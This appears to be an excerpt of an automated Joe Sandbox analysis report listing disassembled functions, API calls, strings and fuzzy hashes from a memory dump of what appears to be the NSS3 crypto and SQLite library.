API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 289e36bc0fc44874e093e62ead618817b596df14ca73ffb0eb156b0e6ee1d92c
Instruction ID: d8f36308aed779148212271541470e16ecbb455c14f9853b3c498fc2ef1cfbaa
Opcode Fuzzy Hash: 289e36bc0fc44874e093e62ead618817b596df14ca73ffb0eb156b0e6ee1d92c
Instruction Fuzzy Hash: EDB1D571604301AFE704CF29C881A6AB7F5FF88318F248A2DF95A97B41E774E945CB91

Function 6CE97D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CE97DDC

Part of subcall function 6CED07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE78298,?,?,?,6CE6FCE5,?), ref: 6CED07BF
Part of subcall function 6CED07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CED07E6
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED081B
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE97DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CE97F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CE97F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CE97F98
PK11_FreeSymKey.NSS3(?), ref: 6CE97FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE97FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CE98000

Part of subcall function 6CEB9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CE97F0C,?,00000000,00000000,00000000,?), ref: 6CEB943B
Part of subcall function 6CEB9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CEB946B
Part of subcall function 6CEB9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CEB9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE98110
PK11_FreeSymKey.NSS3(00000000), ref: 6CE9811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CE9822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE9823C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 58cc49015ddc786e8231f9cf469740a7ba8acbc9fd02395434fa8e36e123fa45
Instruction ID: 2d24281e3e0496e5428717f4a41ffedb64ab4da6e2e289cd97131d7c7b30eff4
Opcode Fuzzy Hash: 58cc49015ddc786e8231f9cf469740a7ba8acbc9fd02395434fa8e36e123fa45
Instruction Fuzzy Hash: F9C171B1D402599FEB21CF14CC40FEAB7B8AF15348F1081EAE81DA6651E7319E89CF91

Function 6CEA0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CEA0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CEA0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CEA1006
PK11_FreeSymKey.NSS3(?), ref: 6CEA101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEA1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEA103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CEA1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CEA108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CEA10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CEA10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CEA112E

Part of subcall function 6CEA1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CEA08C4,?,?), ref: 6CEA15B8
Part of subcall function 6CEA1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CEA08C4,?,?), ref: 6CEA15C1
Part of subcall function 6CEA1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA162E
Part of subcall function 6CEA1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA1637

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: acf1303c36c2adc98f2037e31beb2655c28b356b769be3ffeb0bb51adeaa2fe6
Instruction ID: c1aaaaeef1649f8d685af9f9bb74b4c3c81fd74748a80340bc0063da5bba33b6
Opcode Fuzzy Hash: acf1303c36c2adc98f2037e31beb2655c28b356b769be3ffeb0bb51adeaa2fe6
Instruction Fuzzy Hash: F671CDB5A00205CFDB00CFEACD81A6AB7B1BF4831CF24862DE9199B711E731D946CB81

Function 6CEC1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CEC1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CEC2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CEC228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CEC23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEC241C

Strings

model, xrefs: 6CEC23CB, 6CEC23EC
serial, xrefs: 6CEC22A2
token, xrefs: 6CEC1F2C
manufacturer, xrefs: 6CEC2179

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: c92a42b6f65c136550345a74105469263f596cb3a9a21512ed90bb581773bae8
Instruction ID: 576e514e4b1551d2f81f90d95ac58439aa13a898d4a2ffae0791dbc9b7f98d8d
Opcode Fuzzy Hash: c92a42b6f65c136550345a74105469263f596cb3a9a21512ed90bb581773bae8
Instruction Fuzzy Hash: 75022EA2F0C7C86EF7318271C54D3C76AB09B5532CF28266ED5BE46783C7A859488352

Function 6CEC6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE71C6F,00000000,00000004,?,?), ref: 6CEC6C3F

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CE71C6F,00000000,00000004,?,?), ref: 6CEC6C60
PR_ExplodeTime.NSS3(00000000,6CE71C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CE71C6F,00000000,00000004,?,?), ref: 6CEC6C94

Strings

gfff, xrefs: 6CEC6CF5
gfff, xrefs: 6CEC6CFD
gfff, xrefs: 6CEC6D30
gfff, xrefs: 6CEC6D66
gfff, xrefs: 6CEC6D9C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: d06be53d8e4c462e88ad7e863c83aae4634d31343d5f5fd203506b1b79458b0f
Instruction ID: 8afb7e0f874174ba7ae3d15d8e57244789efd9fd93b84c8eaddcde5798eee182
Opcode Fuzzy Hash: d06be53d8e4c462e88ad7e863c83aae4634d31343d5f5fd203506b1b79458b0f
Instruction Fuzzy Hash: 7D513D72B015494FC708CDADDC527EEBBEA9BA4310F48C23AE441DB781D638D906C751

Function 6CF40F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CF41027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF410B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF41353

Strings

'%.*q', xrefs: 6CF41217, 6CF41292
NULL, xrefs: 6CF4119E
%02x, xrefs: 6CF412F6
$, xrefs: 6CF412A0
-- , xrefs: 6CF40FF5
zeroblob(%d), xrefs: 6CF41223
%lld, xrefs: 6CF4114B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 31c45118ff51b309db07591d637c263be561e19284e8c7fcc803ce02b5f9aa3e
Instruction ID: 2d91bcc0eea66363bcb70160bc868407fb532a36759b7f6c3610fecc56bd09e0
Opcode Fuzzy Hash: 31c45118ff51b309db07591d637c263be561e19284e8c7fcc803ce02b5f9aa3e
Instruction Fuzzy Hash: FCE19A71A083809FD710CF18C480A6BBFF5AF86348F14C92DE99587B52E771E959CB82

Function 6CF48FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF48FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF490DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF49118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF4915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF491C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF49209

Strings

UUUU, xrefs: 6CF49255
3333, xrefs: 6CF4925E

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 301932dc619482c148f62cf72f5f201b648e58cca3135a0e48edfbfde6226544
Instruction ID: 2527df29abe48669e9301366e68ee0caf7492bf329adc9409015c176781291f8
Opcode Fuzzy Hash: 301932dc619482c148f62cf72f5f201b648e58cca3135a0e48edfbfde6226544
Instruction Fuzzy Hash: 9CA19172E001159BDB04CB68CD91B9EBBB9BF48324F098129D915B7782EB36ED01CBD0

Function 6CE00FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CDFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE5F9C9,?,6CE5F4DA,6CE5F9C9,?,?,6CE2369A), ref: 6CDFCA7A
Part of subcall function 6CDFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDFCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CE0103E
EnterCriticalSection.KERNEL32(?), ref: 6CE01139
LeaveCriticalSection.KERNEL32(?), ref: 6CE01190
sqlite3_free.NSS3(00000000), ref: 6CE01227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CE0126E
sqlite3_free.NSS3(?), ref: 6CE0127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CE01267
winAccess, xrefs: 6CE0129B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 96a2cceee60b16d84c96efd007025d432163ffa2babc67fe1f58751563a95198
Instruction ID: cc3c0fef98e8bd36d63f36c3e5476e31b7e63ac1216fd57019084489cc25b0b2
Opcode Fuzzy Hash: 96a2cceee60b16d84c96efd007025d432163ffa2babc67fe1f58751563a95198
Instruction Fuzzy Hash: 7D710932F052119BEB489FA4DC89B5B3775FB8731CF244229E8118BA80DB30E915D7D2

Function 6CE0AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31,?,?,?,?,?,?,?), ref: 6CE0B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31), ref: 6CE0B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31), ref: 6CE0B0A2
CloseHandle.KERNEL32(?,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31,?,?,?,?,?,?,?,?,?), ref: 6CE0B100
sqlite3_free.NSS3(?,?,00000002,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31,?,?,?,?,?,?,?), ref: 6CE0B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31), ref: 6CE0B12D

Part of subcall function 6CDF9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE0C6FD,?,?,?,?,6CE5F965,00000000), ref: 6CDF9F0E
Part of subcall function 6CDF9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CE5F965,00000000), ref: 6CDF9F5D

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 2b48a9c1edb8699325502c5a44b9db4f18f0976fa4f491bbb49f2012455743ce
Instruction ID: 46dbbe0d8887ca1d88134d125e6e044f0ba855dd2bfc001ce19e5af9f6af7f57
Opcode Fuzzy Hash: 2b48a9c1edb8699325502c5a44b9db4f18f0976fa4f491bbb49f2012455743ce
Instruction Fuzzy Hash: 3A91CBB1F4420A8FEB04DF64C885B6BB7B1BF46308B24462DE41697B50EB30E965CB91

Function 6CEDBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEDBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEDBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEDBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEDBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CEDBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CEDBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CEDBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CEDBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CEDBE1E

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: f67dbeaf839baa89936c69d7f9bba5ddff4bc21cda60ccafe4911d510a602cb1
Instruction ID: 8cd6322cf0f271a85f25abf7dfbbe473c8320f5f2e24a572bac899d0c66b1b82
Opcode Fuzzy Hash: f67dbeaf839baa89936c69d7f9bba5ddff4bc21cda60ccafe4911d510a602cb1
Instruction Fuzzy Hash: A12193B6E0429E57FB004A579C43B8F32749BD274EF1E1118E916EE741F710B41A86A6

Function 6CF88D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFD14E4,6CF3CC70), ref: 6CF88D47
PR_GetCurrentThread.NSS3 ref: 6CF88D98

Part of subcall function 6CE60F00: PR_GetPageSize.NSS3(6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F1B
Part of subcall function 6CE60F00: PR_NewLogModule.NSS3(clock,6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CF88E7B
htons.WSOCK32(?), ref: 6CF88EDB
PR_GetCurrentThread.NSS3 ref: 6CF88F99
PR_GetCurrentThread.NSS3 ref: 6CF8910A

Strings

%u.%u.%u.%u, xrefs: 6CF88E74

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 5a488b14a7f09b19071630f25d4674f45118d893460c12213b13bbd117548f87
Instruction ID: 2db27bd6e92eedbfb2de77ed9e463c6899c4236d04e77a84a5f6cc49f28ef24e
Opcode Fuzzy Hash: 5a488b14a7f09b19071630f25d4674f45118d893460c12213b13bbd117548f87
Instruction Fuzzy Hash: 2C028C3290B6518FDB14CF19C4687AABBB3EF42304F1A825ED8915FB91CB35DA45C790

Function 6CE0EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

view, xrefs: 6CE0F061, 6CE0F071, 6CE0FAB7
authorizer malfunction, xrefs: 6CE0F95C, 6CE0F9BF, 6CE0FA5E, 6CE0FA8B
sqlite_temp_master, xrefs: 6CE0F0A6, 6CE0F2D5
sqlite_master, xrefs: 6CE0F0AB, 6CE0F2DA, 6CE0F757, 6CE0F93E
temporary table name must be unqualified, xrefs: 6CE0F734
table, xrefs: 6CE0F05C, 6CE0FABC, 6CE0FAC7
there is already an index named %s, xrefs: 6CE0F9D7
not authorized, xrefs: 6CE0F957, 6CE0F9BA
%s %T already exists, xrefs: 6CE0FAC8

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: a2921d83b78a8808896a04e779fd3e035b8c212a6900cabfb8a45a0ecbb3f1be
Instruction ID: 6c32cff99f57d0e320a15b9738454b15ad0b4a8441b4a9cfb3abafbefec3086d
Opcode Fuzzy Hash: a2921d83b78a8808896a04e779fd3e035b8c212a6900cabfb8a45a0ecbb3f1be
Instruction Fuzzy Hash: 87729E70E042058FDB14CF68C484BAABBF1BF49308F2881ADD8159B752D779E866CBD4

Function 6CF29C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CDFC52B), ref: 6CF29D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF2A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF2A114

Strings

%s at line %d of [%.10s], xrefs: 6CF2A02E, 6CF2A10D
database corruption, xrefs: 6CF2A029, 6CF2A108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF2A01F, 6CF2A0E4, 6CF2A0FE

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: aa652b1755496f7420a646940a09409c391820d542801904e19cc7961890e093
Instruction ID: 42f72e7743ef91a0a2e3c19c628ca763700cb336d29a022deedbe919294bcd52
Opcode Fuzzy Hash: aa652b1755496f7420a646940a09409c391820d542801904e19cc7961890e093
